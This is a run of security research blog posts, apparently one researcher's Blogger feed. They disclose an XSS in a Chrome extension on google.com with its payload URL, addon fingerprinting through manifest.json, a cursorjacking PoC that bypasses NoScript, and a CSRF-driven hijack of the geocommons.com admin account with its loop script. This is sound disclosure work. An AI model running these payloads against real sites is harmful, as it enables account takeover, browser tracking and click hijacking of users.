For a few days now I'm checking various Chrome extensions code looking for vulnerabilities (see also <a href="http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html">the first post of the series</a>). There are many. Most of them due to lazy programming (ignoring even the <a href="http://code.google.com/chrome/extensions/content_scripts.html#security-considerations">Google docs</a> on the subject), some are more subtle, coming from poor design decisions.<br />
<br />
As for the risk impact though, there are <b>catastrophic</b> vulnerabilities. This is just a sample of what code is committed to <a href="https://chrome.google.com/webstore/">Chrome Web Store</a> and can be downloaded as a Google Chrome extension.<br />
<h2>
How would you like an XSS on google.com?</h2>
Chrome extensions can alter the contents of a webpage you're navigating (if they have the permission for the URL). In web security, what is the worst thing you might do when altering HTML document on-the-fly? Of course, <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a>. Even if the page itself is totally safe from XSS, an addon might introduce it (it's similar to just entering<span style="font-family: 'Courier New', Courier, monospace;"> javascript:code()</span>in address bar) and the page cannot possibly defend from it (<a href="http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html">more or less</a>).<br />
<br />
Google documentation about Chrome extensions <a href="http://code.google.com/chrome/extensions/content_scripts.html#security-considerations">warns about this</a> exact threat. But, as it turns out, seeing is believing, so there you go. Let me tell you about some minor extension (196 users as of now, which is the only reason why I'm 0daying now) that allowed me to XSS Google.<br />
<a name='more'></a><h2>
Meet Linkify</h2>
<a href="https://chrome.google.com/webstore/detail/lddlkekpgalmadkfkhfnckdgdmolknig">Linkify Code Review URLs for Google Reader</a> is just what it says on the cover:<br />
<div>
<blockquote class="tr_bq">
<i>If you follow Chromium Code Reviews inside Google Reader, you do want the ability to click on a link. This extension is there for that. And just that.</i></blockquote>
It upgrades link-like texts for a certain domain in Google Reader site to <span style="font-family: 'Courier New', Courier, monospace;"><a></span>nchors. How does it do it?<br />
<pre class="js" name="code">// manifest.json
{
"update_url":"http://clients2.google.com/service/update2/crx",
"name": "Linkify Code Review URLs for Google Reader™",
"version": "1.0.0",
"description": "Does what it says",
"content_scripts": [ {
"all_frames": true,
"js": [ "ba-linkify.min.js", "jquery-1.6.2.min.js", "content.js" ],
"matches": [ "https://www.google.com/reader/*" ],
"run_at": "document_start"
} ]
}
</pre>
It attaches 3 JS files from extension code into any document from https://www.google.com/reader . The main logic in those files is:
<br />
<pre class="js" name="code">window.addEventListener('DOMNodeInserted', handleEvent, false);
function browseAndLinkify(node) {
if (!node) {
return;
}
if (node.children && node.children.length > 0) {
$.each(node.children, function(index, element) {
browseAndLinkify(element);
});
} else {
if (node.innerHTML.indexOf('http://codereview.chromium.org/') > -1) {
node.innerHTML = linkify(node.innerHTML);
}
}
}
function handleEvent(event) {
browseAndLinkify(event.target);
}
</pre>
So every node in the document, when its HTML contains 'http://codereview.chromium.org/', gets linkified (linkifying is converting <span style="font-family: 'Courier New', Courier, monospace;">http://anything</span> to <span style="font-family: 'Courier New', Courier, monospace;"><a href="http://anything">anything</a>)</span>and reinserted it into the DOM using <span style="font-family: 'Courier New', Courier, monospace;">innerHTML</span>.
Which smells like XSS.<br />
<h2>
Exploitation</h2>
Manipulating any node in Google Reader to start with http://codereview.chromium.org and having the XSS payload bypassing linkify engine is very simple. In Google Reader search box just start searching for:<br />
<br />
<span style="font-family: 'Courier New', Courier, monospace;">http://codereview.chromium.org/"onmouseover="if(!window.a){alert(document.domain);window.a=1}//" ddd</span><br />
<br />
and mouseover. Or, even better, visit this handy URL (of course, with the extension installed):<br />
<br />
<a href="https://www.google.com/reader/view/#search/http%3A%2F%2Fcodereview.chromium.org%2F%22onmouseover%3D%22if(!window.a)%7Balert(document.domain)%3Bwindow.a%3D1%7D%2F%2F%22%20ddd/">https://www.google.com/reader/view/#search/http%3A%2F%2Fcodereview.chromium.org%2F%22onmouseover%3D%22if(!window.a)%7Balert(document.domain)%3Bwindow.a%3D1%7D%2F%2F%22%20ddd/</a><br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFZU3SgKZ0QKBE9oTyxM7ro0bRWZhcCH_XGsViiqGEdmkgCD6V-bL1Zcq7Li-eXfm-dUKxJSTwMRtc47hBA-1GyVUr21EqOj_4IVRuFwbBLjeSZt1i5o46vSFJxZF9ToBBc438-AXC1Gg/s1600/linkify.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="119" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFZU3SgKZ0QKBE9oTyxM7ro0bRWZhcCH_XGsViiqGEdmkgCD6V-bL1Zcq7Li-eXfm-dUKxJSTwMRtc47hBA-1GyVUr21EqOj_4IVRuFwbBLjeSZt1i5o46vSFJxZF9ToBBc438-AXC1Gg/s320/linkify.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Voila! XSS on www.google.com</td></tr>
</tbody></table>
<h2>
Lessons to take</h2>
</div>
<div>
<b>Google Extension authors</b> - don't use <span style="font-family: 'Courier New', Courier, monospace;">innerHTML</span> with anything outside your control. Really!<br />
<b>Users</b> - pay attention to what you're installing.</div>
</div>Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com6tag:blogger.com,1999:blog-3650259870998252242.post-15764854089224800512012-02-17T19:13:00.001+01:002012-02-17T19:30:36.116+01:00Intro to Chrome addons hacking: fingerprinting<div dir="ltr" style="text-align: left;" trbidi="on">
<b>tldr;</b> <i>Webpages can sometimes interact with Chrome addons and that might be dangerous, more on that later. Meanwhile, a warmup - trick to detect addons you have installed.</i><br />
<a name='more'></a><br />
While all of us are used to http / https <a href="http://en.wikipedia.org/wiki/URI_scheme">URI Schemes</a>, current web applications sometimes use other schemes including:<br />
<ul style="text-align: left;">
<li><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">javascript:</span> URIs <a href="http://h.ackack.net/0day-xss-in-wordpress-core.html">bypassing XSS filters for years</a></li>
<li><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">data:</span> URIs that is a common source of <a href="http://palisade.plynt.com/issues/2010Oct/bypass-xss-filters/">new XSS vulnerabilities</a> </li>
<li><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">view-source:</span> that may be used for <a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html">UI-redressing attacks</a></li>
<li><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">file:</span> that reads your local files</li>
</ul>
<h2>
Tough questions</h2>
<div>
Throughout the years, there have always been questions on how documents from these schemes are supposed to be isolated from each other (think of it like a 2nd order Same Origin Policy). Typical questions include:</div>
<div>
<ul style="text-align: left;">
<li>Can XMLHttpRequest from <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">http://</span> document load a <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">file://</span> URL? And the other way around?</li>
<li>Can document from <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">https://</span> load script from <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">http://</span>? Should we display SSL warning then?</li>
<li>Can <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">http://</span> document have an <a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html">iframe with <span style="font-family: 'Courier New', Courier, monospace;">view-source:</span></a> src?</li>
<li>Can <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">data:</span> URI access the DOM of the calling <span style="font-family: 'Courier New', Courier, monospace;">http://</span> document?</li>
<li>Can <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">file://</span> URL access a <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">file://</span> from upper directory (it's <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=428815">not so obvious</a>)</li>
<li>What about:blank?</li>
<li>How to handle 30x redirections to each of those schemes?</li>
<li>What about <a href="http://blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html">passing Referer header across schemes</a>?</li>
<li>Can I <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">window.open()</span> across schemes? Would <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">window.postMessage()</span> work?</li>
<li>and many, many <a href="http://code.google.com/p/browsersec/wiki/Part2#Origin_inheritance_rules">more issues</a></li>
</ul>
<div>
In general, all this questions come down to:<br />
<ul style="text-align: left;">
<li>How should we isolate the schemes from each other?</li>
<li>What information is allowed to leak between scheme boundaries?</li>
</ul>
Every single decision that has been made by browser vendors (or standard bodies) in those cases has consequences to security. There are differences in implementation, some of them very subtle. <b>And there are subtle vulnerabilities</b>. Let me present one example of such vulnerability.<br />
<h2>
Meet chrome-extension://</h2>
</div>
</div>
<div>
Google Chrome addons are packaged pieces of HTML(5) + Javascript applications. They may:</div>
<div>
<ul style="text-align: left;">
<li>add buttons to the interface</li>
<li>launch background tasks</li>
<li>interact with pages you browse</li>
<li>...</li>
</ul>
<div>
All extension resources are loaded from dedicated <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">chrome-extension://</span> URLs . Each extension has a global unique identifier. For example, </div>
</div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">chrome-extension://oadboiipflhobonjjffjbfekfjcgkhco/help.html</span> is URL representing <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">help.html</span> page from <a href="https://chrome.google.com/webstore/detail/oadboiipflhobonjjffjbfekfjcgkhco?hl=en">Google Chrome to Phone</a> (you can try it, if you have this extension enabled).</div>
<div>
<br /></div>
<div>
Extension <a href="http://code.google.com/chrome/extensions/content_scripts.html#host-page-communication">interact with web pages that you visit</a> and have access to their DOM, but the Javascript execution context is separated (they cannot call each other Javascript code - and for a good reason). </div>
<div>
<br /></div>
<div>
However even in this separation model there is still place for page <-> addon cooperation. Malicious HTTP pages might interact with addons in various ways. One simple example is addon enumeration.<br />
<h2>
Finding your addons one by one</h2>
With a little Javascript code I can easily test if you're using a certain Chrome addon. Give me a <a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/addons.json">list of most popular extensions</a> and I'll test all of them in milliseconds. Why would I want that as an attacker?<br />
<ul style="text-align: left;">
<li>to <a href="http://panopticlick.eff.org/">fingerprint your browser</a> (ad networks love this)</li>
<li>to start attack against a certain known vulnerable addon (wait for the next post for this ;) )</li>
</ul>
<div>
See demo of <a href="http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/enumerate.html"><b>Chrome addons fingerprinting</b></a>. (src <a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/chrome-addons">here</a>)
<br />
<h2>
How?</h2>
The trick is dead simple:<br />
<pre class="javascript" name="code">var detect = function(base, if_installed, if_not_installed) {
var s = document.createElement('script');
s.onerror = if_not_installed;
s.onload = if_installed;
document.body.appendChild(s);
s.src = base + '/manifest.json';
}
detect('chrome-extension://' + addon_id_youre_after, function() {alert('boom!');});
</pre>
Every addon has a <span style="font-family: 'Courier New', Courier, monospace;">manifest.json</span> file. In <span style="font-family: 'Courier New', Courier, monospace;">http[s]://</span> page you can try to load a script cross-scheme from <span style="font-family: 'Courier New', Courier, monospace;">chrome-extension://</span> URL, in this case - the manifest file. You just need the addon unique id to put into URL. If the extension is installed, manifest will load and <span style="font-family: 'Courier New', Courier, monospace;">onload</span> event will fire. If not - <span style="font-family: 'Courier New', Courier, monospace;">onerror</span> event is there for you.<br /><b>Update: </b>TIL the technique was already <a href="http://skeletonscribe.blogspot.com/2011/07/sparse-bruteforce-addon-scanner.html">published</a> by <a href="https://twitter.com/#!/albinowax">@albinowax</a>. Cool!<br />
<br />
This is just one simple example of punching the separation layer between addons and webpages. There are more coming. Stay tuned.</div>
</div>
</div>Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com15tag:blogger.com,1999:blog-3650259870998252242.post-33234165965583418832012-01-18T14:33:00.002+01:002012-01-19T00:30:06.499+01:00Cursorjacking again<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
About a year ago, <a href="http://www.mniemietz.de/">Marcus Niemietz</a> demonstrated UI redressing technique called <a href="http://www.mniemietz.de/demo/cursorjacking/cursorjacking.html">cursorjacking</a>. It deceived users by using a custom cursor image, where the pointer was displayed with an offset. So the displayed cursor was shifted to the right from the actual mouse position. With clever positioning of page elements attacker could direct user clicks to desired elements.<br />
<h2>
Cursor fun</h2>
Yesterday <a href="http://heideri.ch/">Mario Heiderich</a> noticed that </div>
<pre class="html" name="code"><body style="cursor:none">
</pre>
works across User-Agents, so one could easily totally hide the original mouse cursor. Combine that with <span style="font-family: 'Courier New', Courier, monospace;">mousemove</span> listener, mouse cursor image and a little distraction and we have another UI redressing vector. The idea is very simple:<br />
<pre class="html" name="code"><body style="cursor:none;height: 1000px;">
<img style="position: absolute;z-index:1000;" id=cursor src="cursor.png" />
<button id=fake style="font-size: 150%;position:absolute;top:100px;left:630px;">click me click me</button>
<div style="position:absolute;top:100px;left:30px;">
<a href="#" onclick="alert(/you clicked-me-instead/)">i'm not important</a>
</div>
<script>
var oNode = document.getElementById('cursor');
var onmove = function (e) {
var nMoveX = e.clientX, nMoveY = e.clientY;
oNode.style.left = (nMoveX + 600)+"px";
oNode.style.top = nMoveY + "px";
};
document.body.addEventListener('mousemove', onmove, true);
</script>
</body>
</pre>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg_CWTPxz2iASMzdgk0-dkNWH19pqqOsEJ70A_5maDphd2I75khoDq9sPW4AT0gAxPvuntx_aEee_xX1f72bcFhed0zLKY_EBtdUfzgzrWQm6mJxRUSTZgJAo70SLx9iCfsHqkg_IDf7U/s1600/cursorjacking.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="75" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg_CWTPxz2iASMzdgk0-dkNWH19pqqOsEJ70A_5maDphd2I75khoDq9sPW4AT0gAxPvuntx_aEee_xX1f72bcFhed0zLKY_EBtdUfzgzrWQm6mJxRUSTZgJAo70SLx9iCfsHqkg_IDf7U/s400/cursorjacking.jpg" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The one on the left is real, right is fake. The idea is to distract you from noticing the left one.</td></tr>
</tbody></table>
<h2>
Demo</h2>
It's just a sketch (e.g. in real life one would have to handle skipping mouse cursor when it's over a frame), but it works nonetheless. Try this <a href="http://koto.github.com/blog-kotowicz-net-examples/cursorjacking/">good cursorjacking example</a> ;) Here's <a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/cursorjacking/index.html">sources</a> for anyone interested.<br />
<h2>
Bonus</h2>
<a href="http://noscript.net/faq#qa7_4">NoScript ClearClick</a> (a clickjacking protection) works, because it detects clicks on areas that are hidden from the user (e.g. with <span style="font-family: 'Courier New', Courier, monospace;">opacity:0</span>). With cursorjacking the protection won't get triggered as attacker is not hiding the original element to click on (Twitter button in the PoC). The only deception is distraction. So, currently, this technique is a <b>NoScript ClearClick protection bypass</b>. <br /><b>Update</b>: Fixed in <a href="http://noscript.net/getit">NoScript 2.2.8 RC1</a></div>Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com3tag:blogger.com,1999:blog-3650259870998252242.post-71023463516610258422011-12-17T15:40:00.001+01:002011-12-17T15:40:23.854+01:00Beatthis! oracle crypto xmas challenge<div dir="ltr" style="text-align: left;" trbidi="on">
It's this time of the year, and I'm sitting here and launching <a href="http://kotowicz.net/beatthis2/">Beathis oracle! crypto xmas challenge</a> for you guys. Enjoy! It's a bit different than the <a href="http://blog.kotowicz.net/2011/03/simple-cryptoanalysis-challenge.html">last</a> but I like it more. There's only one level, but it should be challenging.</div>Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com0tag:blogger.com,1999:blog-3650259870998252242.post-48391074238605136482011-11-22T15:31:00.000+01:002011-11-22T15:44:07.795+01:00Geocommons.com admin account hijack<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
Potato chips, post-it notes, LSD and Viagra - all these things were discovered by accident. As it seems, sometimes great discoveries come by a surprise. I've had my moment of surprise lately. It all started during my research on sites using Cross Origin Resource Sharing. You know me, I just have to check the real-world HTML5 implementations. So there I am, checking sites implementing CORS headers. <a href="http://geocommons.com/">Geocommons.com</a> is one of them - and this is the story of <b>how geocommons got really common</b>.<br />
<br />
GeoCommons is the public community of GeoIQ users who are building an open repository of data and maps for the world. The GeoIQ platform includes a large number of features that empower you to easily access, visualize and analyze your data.
<br />
<br />
There was a <b>critical vulnerability</b> in geocommons.com website allowing<b> any user</b> to change e-mail address of administrative user and <strong>hijack the admin account</strong>. According to vendor, vulnerability is now fixed.<br />
<a name='more'></a><h2>
The simple vuln</h2>
Every user of geocommons.com is allowed to manage his/hers account credentials. Among other features, he's allowed to change the e-mail address. These functions are
accessible by sending POST requests to <code>http://geocommons.com/users/[user-id]</code> URL.
Sample POST content changing e-mail address of an account looks like this:
<br />
<pre name="code">_method=put&user%5Bemail%5D=email@example.com&commit=Save&user%5Bterms_of_use%5D=1</pre>
I quickly confirmed that the form is vulnerable to CSRF. <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)">CSRF</a> allows for form submission on behalf of any user logged in to geocommons.com. <b>Knowing user ID</b> (it needs to be in URL) attacker can convince user to visit a page sending POST request changing user's e-mail address.<br />
<br />
<b>Close, but no cigar.</b> Sure, attacker can send thousands of requests and one of them would finally succeed (once he reaches the correct user id).<br />
<h2>
Moment of surprise</h2>
<div>
Just to check, I started doing some PoC. I created a user (his ID was 35 thousands something), and made him visit the CSRF page:<br />
<br /></div>
<pre class="javascript" name="code"> for (var i = 0; i < 50000; i++) {
post = {
'_method':'put',
'user[email]': 'securityvictim+exploit' + i + '@gmail.com',
'commit' : 'Save',
'user[terms_of_use]':'1',
};
$.ajax({
url: 'http://geocommons.com/users/' + i,
data: post,
type: 'POST',
complete: function() {console.log(user)}
});
</pre>
<br />
The code tried to replace user email with my <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">securityvictim@gmail.com</span> email (with <a href="http://www.toolnext.com/2008/04/gmail-how-to-use-plus-sign-for.html">+tag</a>). Well, it was slow as hell. So I stopped. Just to check if anything succeeded, I browsed the geocommons.com site and searched for users with that email.<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEszcxRzfeTS3F_wDeFtzQ3w9VCRxlFYJpHgkJqteaU6ORlp4QYzDjo_Ng9JEgmUKRAzjS-MLAwB8t7XXaXWOpppknlB4_syIVc9ui34A4mWzIUIj2or0ljkzfJyc_IfLGZRBWORLXpdU/s1600/geocommons03.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEszcxRzfeTS3F_wDeFtzQ3w9VCRxlFYJpHgkJqteaU6ORlp4QYzDjo_Ng9JEgmUKRAzjS-MLAwB8t7XXaXWOpppknlB4_syIVc9ui34A4mWzIUIj2or0ljkzfJyc_IfLGZRBWORLXpdU/s320/geocommons03.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">WTF????</td></tr>
</tbody></table>
I replaced <b>admin </b>account e-mail!<br />
<br />
As it turned out, there is also a <strong>critical</strong> vulnerability, allowing ANY user to change admin account e-mail address.
One only needs to submit the form to <code>http://geocommons.com/users/1</code> (1 is user id of admin). Bitter CSRF just got a lot sweeter :)<br />
<br />
Combining these two vulnerabilities, it is possible for an attacker to submit a form changing admin e-mail, <strong>while leaving all the traces to victim</strong> who was CSRFed. After changing the e-mail address to one under his control, attacker can simply use forget password feature of the site to get the new temporary password and effectively hijack the admin account of <code>geocommons.coms</code><br />
<h2>
See for yourselves</h2>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNBRirev0pgcNJ5rmjvWX9GPksxhTZ3XcBFYGxY4GTCYFh3OoVPbT9Hx6OdYIjjNYoIpgCxzeRmOZEuPq-BordmhOYvVNB1DWUt3Inu7gSwib9bCxaBinTElPyOsz0L3iTCf4ViDM9Q5E/s1600/geocommons01.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="82" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNBRirev0pgcNJ5rmjvWX9GPksxhTZ3XcBFYGxY4GTCYFh3OoVPbT9Hx6OdYIjjNYoIpgCxzeRmOZEuPq-BordmhOYvVNB1DWUt3Inu7gSwib9bCxaBinTElPyOsz0L3iTCf4ViDM9Q5E/s320/geocommons01.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Form submission</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjabJ3qy_t7rIPor_dv0okWKvRhXNmyLRhBKJ2byW85XeJ3X8TS_wLMnjVULhdMCcVoE_eaYeIw6IrwiV1-5Kmap_AmgfvS93PnI1RmcAKmmWGriFYWPGYMHWkUfVhUpErHHYlyWyJ9g7s/s1600/geocommons02.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="234" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjabJ3qy_t7rIPor_dv0okWKvRhXNmyLRhBKJ2byW85XeJ3X8TS_wLMnjVULhdMCcVoE_eaYeIw6IrwiV1-5Kmap_AmgfvS93PnI1RmcAKmmWGriFYWPGYMHWkUfVhUpErHHYlyWyJ9g7s/s320/geocommons02.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">with new email</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9ECyIoN3-xCjnP8ohbnLSIFbOmHOIS_g9RPg1ej3F_dq6Gwa4R-rg8geJBqh9y08TmYlosz-AqxXApPshwC7-bWR77GOcHyHIiMQ8UJObXmq2cA_iYXtcggm3dHuCkKUIuCMZKBZlPKw/s1600/geocommons05.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="78" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9ECyIoN3-xCjnP8ohbnLSIFbOmHOIS_g9RPg1ej3F_dq6Gwa4R-rg8geJBqh9y08TmYlosz-AqxXApPshwC7-bWR77GOcHyHIiMQ8UJObXmq2cA_iYXtcggm3dHuCkKUIuCMZKBZlPKw/s320/geocommons05.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">And a password reset</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnoOLsRb_1uICp2L0XuUXCTIlgO6KD7xhO5ADXS79cTvJgGcZvpBS6Kd3ErqiabfbUUcYXcSddC59BBa4Nf8GKIGo9toRLc_1dKJdtOeSJq87iQNfBBR7G6wqIM8wWX0LtAHtOzdMQmdY/s1600/geocommons06.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="64" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnoOLsRb_1uICp2L0XuUXCTIlgO6KD7xhO5ADXS79cTvJgGcZvpBS6Kd3ErqiabfbUUcYXcSddC59BBa4Nf8GKIGo9toRLc_1dKJdtOeSJq87iQNfBBR7G6wqIM8wWX0LtAHtOzdMQmdY/s320/geocommons06.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">... sent conveniently to attacker's account</td></tr>
</tbody></table>
<h2>
And all the admin goodies...</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0aopWSU8yWObuQQWd50t_ZHHEMBRybNM8GKlUhJkTKbPzzCgC5wGJfEUG5NfSSt0JpbVoEOT2bterkHodzIiqcuNNox5DT0yzWQ5peMcL9OdOqjJ4FD3t4BbTRVsfowwrpR8HO8OBgKs/s1600/geocommons07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="214" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0aopWSU8yWObuQQWd50t_ZHHEMBRybNM8GKlUhJkTKbPzzCgC5wGJfEUG5NfSSt0JpbVoEOT2bterkHodzIiqcuNNox5DT0yzWQ5peMcL9OdOqjJ4FD3t4BbTRVsfowwrpR8HO8OBgKs/s320/geocommons07.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuEEbIBD8K3hfXxSS6vOs8Zf7Qk-nm54NYqhz9nJhE0j20-Uh6EfjJ0G-DstoInDlBsIUTs5-4H2lVjR6LBjO6-DjsKKBwl0XO39PvnEgjG8YmYG4jBNo4bVvj0DV9LrVS49Uv7iYt36A/s1600/geocommons08.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuEEbIBD8K3hfXxSS6vOs8Zf7Qk-nm54NYqhz9nJhE0j20-Uh6EfjJ0G-DstoInDlBsIUTs5-4H2lVjR6LBjO6-DjsKKBwl0XO39PvnEgjG8YmYG4jBNo4bVvj0DV9LrVS49Uv7iYt36A/s320/geocommons08.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDY_PhipqLdYmTaGKTvSvTkUK89Pz4LF-eIwbE1dCjyNyORwVZq96SI627NCSw3M5iarWG7-Den3hxJ4VLihNJpm8ORH7xkZAO5Wn0IFE6uuGZ0FU5cpZ0oHFTXUsNp2-jn9hSlCSGqEc/s1600/geocommons09.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDY_PhipqLdYmTaGKTvSvTkUK89Pz4LF-eIwbE1dCjyNyORwVZq96SI627NCSw3M5iarWG7-Den3hxJ4VLihNJpm8ORH7xkZAO5Wn0IFE6uuGZ0FU5cpZ0oHFTXUsNp2-jn9hSlCSGqEc/s320/geocommons09.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTEH6w1B-P4vG_h1bsy82uRdnh_-TZWjWje7ORzCvvAoWvrxPIV7vcqCW603bh6tTrzKy7HX5xEO6R4TSHY_ZtLrI501WAeHvh1ZfpFH8zIfEaE_vUUkmAoQqYyIZ8wLDHnGrLby4EmpM/s1600/geocommons10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTEH6w1B-P4vG_h1bsy82uRdnh_-TZWjWje7ORzCvvAoWvrxPIV7vcqCW603bh6tTrzKy7HX5xEO6R4TSHY_ZtLrI501WAeHvh1ZfpFH8zIfEaE_vUUkmAoQqYyIZ8wLDHnGrLby4EmpM/s320/geocommons10.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXoyNkH5JStsiuAF5BBz9rfXBRz4t3eluP0RtVK64j20jnrmWIKXmJMs1kBGAAZrS8DV7HOPcJhBT4duY39mEb6InPhLsIc1AlNNGp7U-HMwmRuuIw6ZrTbb3xGHrIQRCnyJMMq8FS7RY/s1600/geocommons11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXoyNkH5JStsiuAF5BBz9rfXBRz4t3eluP0RtVK64j20jnrmWIKXmJMs1kBGAAZrS8DV7HOPcJhBT4duY39mEb6InPhLsIc1AlNNGp7U-HMwmRuuIw6ZrTbb3xGHrIQRCnyJMMq8FS7RY/s320/geocommons11.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
